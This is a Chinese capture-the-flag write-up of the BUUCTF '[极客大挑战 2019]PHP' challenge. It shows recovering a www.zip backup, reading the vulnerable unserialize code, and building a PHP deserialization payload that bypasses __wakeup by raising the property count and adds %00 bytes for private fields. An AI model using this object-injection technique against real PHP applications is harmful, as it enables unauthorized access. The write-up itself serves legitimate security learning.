128,【1】buuctf [极客大挑战 2019]PHP

进入靶场

提示了备份文件

抓包,扫描

扫描出了两个有反应的

访问index.php没反应,但www.zip成功下载了文件

index.php里得到如下有用信息

php 复制代码
<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

所以我们要通过GET 方式传递 select 参数的值,并对该值进行序列化操作

?select=

再去查看class.php

php 复制代码
<?php
// 包含 flag.php 文件
include 'flag.php';

// 设置错误报告级别为 0,意味着不显示任何 PHP 错误信息
error_reporting(0);

// 定义一个名为 Name 的类
class Name{
    // 定义一个私有属性 $username,初始值为 'nonono'
    // 私有属性只能在类内部访问
    private $username = 'nonono';
    // 定义一个私有属性 $password,初始值为 'yesyes'
    private $password = 'yesyes';

    // 构造函数,当创建 Name 类的对象时会自动调用
    // 接收两个参数 $username 和 $password,用于初始化对象的属性
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

    // __wakeup 魔术方法,当使用 unserialize 函数对对象进行反序列化时会自动调用
    // 此方法将对象的 $username 属性重置为 'guest'
    function __wakeup(){
        $this->username = 'guest';
    }

    // __destruct 析构函数,当对象被销毁时会自动调用
    function __destruct(){
        // 检查对象的 $password 属性是否不等于 100
        if ($this->password != 100) {
            // 如果不等于 100,输出提示信息,表明是黑客行为
            echo "</br>NO!!!hacker!!!</br>";
            // 输出用户名信息
            echo "You name is: ";
            echo $this->username;
            echo "</br>";
            // 输出密码信息
            echo "You password is: ";
            echo $this->password;
            echo "</br>";
            // 终止脚本执行
            die();
        }
        // 检查对象的 $username 属性是否严格等于 'admin'
        if ($this->username === 'admin') {
            // 如果是 'admin',将全局变量 $flag 引入当前作用域
            global $flag;
            // 输出存储在 $flag 中的 flag 信息
            echo $flag;
        } else {
            // 如果不是 'admin',输出友好提示信息,并表明无法提供 flag
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            // 终止脚本执行
            die();
        }
    }
}
?>

得知username和password,且值为admin和100

还需绕过_wakeup方法

通过改属性个数实现

username=admin&password=100

其他好像不用看了,试着开始构造

php 复制代码
<?php

class Name{
    private $username = 'admin';
    private $password = '100';
    }

$a=new Name();
$b=serialize(@$a);
echo $b
?>
复制代码
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

修改属性个数

复制代码
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

因为是两个属性

添加%00

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

得到flag

相关推荐
冷雨夜中漫步5 小时前
Python快速入门(6)——for/if/while语句
开发语言·经验分享·笔记·python
绵绵细雨中的乡音5 小时前
深入理解 ET 与 LT 模式及其在 Reactor 模型中的应用
服务器·网络·php
m0_736919107 小时前
C++代码风格检查工具
开发语言·c++·算法
2501_944934737 小时前
高职大数据技术专业,CDA和Python认证优先考哪个?
大数据·开发语言·python
黎雁·泠崖7 小时前
【魔法森林冒险】5/14 Allen类(三):任务进度与状态管理
java·开发语言
2301_763472468 小时前
C++20概念(Concepts)入门指南
开发语言·c++·算法
TechWJ9 小时前
PyPTO编程范式深度解读:让NPU开发像写Python一样简单
开发语言·python·cann·pypto
lly2024069 小时前
C++ 文件和流
开发语言
m0_706653239 小时前
分布式系统安全通信
开发语言·c++·算法
寻寻觅觅☆10 小时前
东华OJ-基础题-104-A == B ?(C++)
开发语言·c++